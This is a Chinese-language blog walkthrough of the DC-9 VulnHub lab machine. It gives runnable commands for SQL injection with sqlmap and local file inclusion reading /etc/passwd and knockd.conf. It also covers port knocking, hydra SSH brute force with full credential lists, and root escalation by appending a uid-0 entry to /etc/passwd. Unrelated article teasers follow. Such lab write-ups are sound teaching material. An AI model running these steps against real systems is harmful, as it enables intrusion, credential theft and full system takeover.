DC系列之DC-9渗透测试

server/2025/1/10 23:13:23/

DC-9 靶机渗透测试实战

靶机下载地址:

https://download.vulnhub.com/dc/DC-9.zip(下载速度慢可以用迅雷下载)

一、实验环境

实验环境:
kali2024:192.168.234.145(nat模式)
靶机环境DC-9(nat模式,MAC地址:00:0C:29:6F:4B:04)
保证kali和DC-9在同一个网段

二、渗透过程演示

信息收集

打开测试靶机DC-9

使用nmap扫描整个网段

根据MAC地址得到dc-9的IP地址

接下来对该靶机进行详细的扫描

靶机开了80端口和22端口 ,但是显示22端口被过滤

访问web界面,找找找,发现search这个地方可以查询信息

这意味着与数据库产生交互,可能会有注入

这是一个post注入,查看源码发现跳转界面是results.php,表单name为search

(可以直接通过burp抓包,然后把数据包写入一个文件,在使用sqlmap)

SQL注入

点击search,也就是在search.php页面中,输入Mary' and 1=1#和Mary' and 1=2#,前者返回Mary的结果,后者为空,存在sql注入。

爆数据库:sqlmap -u http://192.168.234.169/results.php --data 'search=1' --dbs

注意--data 选项的用法

 

查看当前数据库:sqlmap -u http://192.168.234.169/results.php --data 'search=1' --current-db    (current database: 'Staff')

查看Staff数据库中的表:sqlmap -u http://192.168.234.169/results.php --data 'search=1' -D "Staff" --tables(发现StaffDetails表和 Users表)

查看Users中字段:sqlmap -u http://192.168.234.169/results.php --data 'search=1' -D "Staff" -T "Users" --columns(对Password和Usename字段感兴趣)

查看Password和Username字段内容:sqlmap -u http://192.168.234.169/results.php --data 'search=1' -D "Staff" -T "Users" -C "Username,Password" --dump  (弹出的都选y,否则爆出来的密码没解密)

 Username:admin  

Password:856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)   

解码后为admin:transorbital1

然后再爆一下StaffDetails表

sqlmap -u http://192.168.234.169/results.php --data 'search=1' -D users -T UserDetails --dump

admin登录后台

登入后发现有 File does not exist 字样,疑似有文件包含!!!

尝试文件包含

http://192.168.234.169/manage.php?file=../../../../../../etc/passwd

发现有本地文件包含(LFI)

然后接下来尝试看看有没有远程文件包含(RFI)

http://192.168.234.169/manage.php?file=http://192.168.234.162/yjh.php(在本地web根目录写一个yjh.php)

发现不允许远程文件包含!

接下来不知道怎么办了,看看大佬的思路是利用 LFI 查看 /etc/knockd.conf 文件内容

利用 LFI 查看 /etc/knockd.conf 文件内容

knockd.conf文件端口敲门服务,用于将服务器隐藏,也是这个原因让22端口给过滤了。(将ssh隐藏了起来)
利用文件包含来查看knockd.conf文件,获得自定义端口,然后逐个进行敲门,这样我们就能够开启ssh端口

knochd 服务:
在使用此服务时,他人访问你的端口会显示 close 状态,只有按照特定顺序(配置文件)访问规定端口后才会开放被访问的端口,依次访问特定端口后才会关闭被访问的端口

?file=../../../../../etc/knockd.conf

使用nc敲门

hydra 爆破用户名和密码

name.dic

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
admin

passwd.dic

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
transorbital1

命令:hydra -L name.txt -P passwd.txt 192.168.234.169 ssh

登录SSH

一个一个登录看看,有没有什么有用的东西。

ssh janitor@192.168.234.169进去看看

增加在passwd.dic后重新进行爆破

发现新增加了一个用户:login: fredf   password: B4-Tru3-001

提权

使用fredf登录ssh:ssh fredf@192.168.234.169

sudo -l(查看有没有可以进行sudo提权的地方)

代码审计

        判断是否有三个参数,没有的话输出Usage: python test.py read append,然后停止执行

        第二个参数是读取第二个参数文件中的内容

        第三个参数是把读取的内容写到第三个参数文件中(a是追加)

简单来说就是需要传递三个参数,传递的2个参数(第一个参数是 ./test)应该都是文件名,操作就是把第二个文件的内容以追加方式写进第三个文件里。那我们可用构造一个含有root权限数据的文件,通过 test.py 写入到 /etc/passwd 文件中,从而成功提权

原理: /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户

这里有个注意的地方,写入的时候必须是单引号,也就是echo '......',不能是echo ".....",双引号会导致最后失败

       echo 'shell:$1$shell$FWRDZvnn6nuR4MyAq/oF31:0:0::root:/bin/bash' > /tmp/shell.txt

直接进行提权

原理:核心思路就是利用其在passwd文件中追加一条uid为0(root uit=0)的用户条目

使用:

        首先我们造一个符合该格式的用户,一般/tmp目录可写,写到/tmp目录下

                openssl passwd -1 -salt shell 123456

                echo 'shell:$1$shell$FWRDZvnn6nuR4MyAq/oF31:0:0::root:/bin/bash' > /tmp/shell.txt

                sudo 执行py脚本,将生成的账户条目写入 /etc/passwd 文件中

                sudo ./test /tmp/shell.txt /etc/passwd

解释:

按照linux用户机制,如果没有shadow条目,且passwd用户密码条目有密码的时候,可以本地su 使用passwd里面的密码登录。由于这个用户的uid为0,所以也是root权限
passwd文件每一行的格式如下:
用户名:密码(hash):uid:gid:说明:家目录:登陆后使用的shell
echo 'shell:$1$shell$FWRDZvnn6nuR4MyAq/oF31:0:0::root:/bin/bash' > /tmp/shell.txt
生成密码并将账号条目写入/etc/passwd文件中


su shell

可以看到在执行完指令之后直接变为了root,提权成功

补充:

引言:在Linux系统中我们要向手动生成一个密码可以采用opensll passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。

作用:openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

语法格式: openssl passwd [option] passwd

openssl passwd常用的选项如下:

        -1:表示采用的是MD5加密算法。

        -salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。

示例:[tom@localhost ~]$ openssl passwd -1 -salt '12345678'  ##注意‘12345678’不是密码而是密码的长度

理解:

将 shell:::0:0::root:/bin/bash 写入 /etc/passwd 文件中,由于 /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户
计算密码( openssl passwd -1 -salt shell 123456 ):$1$shell$FWRDZvnn6nuR4MyAq/oF31
将 shell:$1$shell$FWRDZvnn6nuR4MyAq/oF31:0:0::root:/bin/bash 写入 /etc/passwd 文件中,由于 /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会只判断/etc/passwd 文件中的密码然后进行su切换用户


http://www.ppmy.cn/server/157313.html

相关文章

vue.js 插槽-具名插槽

在Vue.js中,插槽是一种特殊的语法,用于在父组件中向子组件传递内容。通过插槽,我们可以在子组件的特定位置插入父组件中的内容。 Vue.js中的插槽分为默认插槽和具名插槽。默认插槽是当父组件中的内容没有被具名插槽引用时插入的内容。而具名…

关于内网外网,ABC类地址,子网掩码划分

本文的三个关键字是:内网外网,ABC类地址,子网掩码划分。围绕以下问题展开: 如何从ip区分外网、内网?win和linux系统中,如何查询自己的内网ip和外网ip。开发视角看内外网更多是处于安全考虑,接口…

Django外键模型未保存引用

在 Django 中使用外键关系时,如果遇到模型未保存引用的问题,通常是因为在创建或更新相关对象时,有关联对象未被正确保存或引用。这里提供一些常见的问题和解决方案来确保你的外键关系正确处理。 1、问题背景 在使用 Django 进行模型开发时&a…

【Orca】Orca - Graphlet 和 Orbit 计数算法

Orca(ORbit Counting Algorithm)是一种用于对网络中的小图进行计数的有效算法。它计算网络中每个节点的节点和边缘轨道(4 节点和 5 节点小图)。 orca是一个用于图形网络分析的工具,主要用于计算图中的 graphlets&#…

C#语言的字符串处理

C#语言的字符串处理 引言 在现代编程中,字符串处理是一项重要的技能,几乎在所有编程语言中都有应用。C#语言作为一种强类型的、面向对象的编程语言,提供了丰富的字符串处理功能。这使得开发人员能够方便地进行文本操作,比如字符…

【Linux 之一 】Linux常用命令汇总

Linux常用命令 ./catcd 命令chmodclearcphistoryhtoplnmkdirmvpwdrmtailunamewcwhoami 我从2021年4月份开始才开始真正意义上接触Linux,最初学习时是一脸蒙圈,啥也不会,啥也不懂,做了很多乱七八糟,没有条理的笔记。不知…

什么是Kafka?有什么主要用途?

大家好,我是锋哥。今天分享关于【什么是Kafka?有什么主要用途?】面试题。希望对大家有帮助; 什么是Kafka?有什么主要用途? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Kafka 是一个分布式流…

MIUI显示/隐藏5G开关的方法,信号弱时开启手机Wifi通话方法

5G网速虽快,手机功耗也大。 1.取消MIUI强制的5G,手动设置4G的方法! 【小米澎湃OS, Xiaomi HyperOS显示/隐藏5G开关的方法】 1.1.小米MIUI系统升级后,被强制连5G,手动设置开关被隐藏,如下图: 1…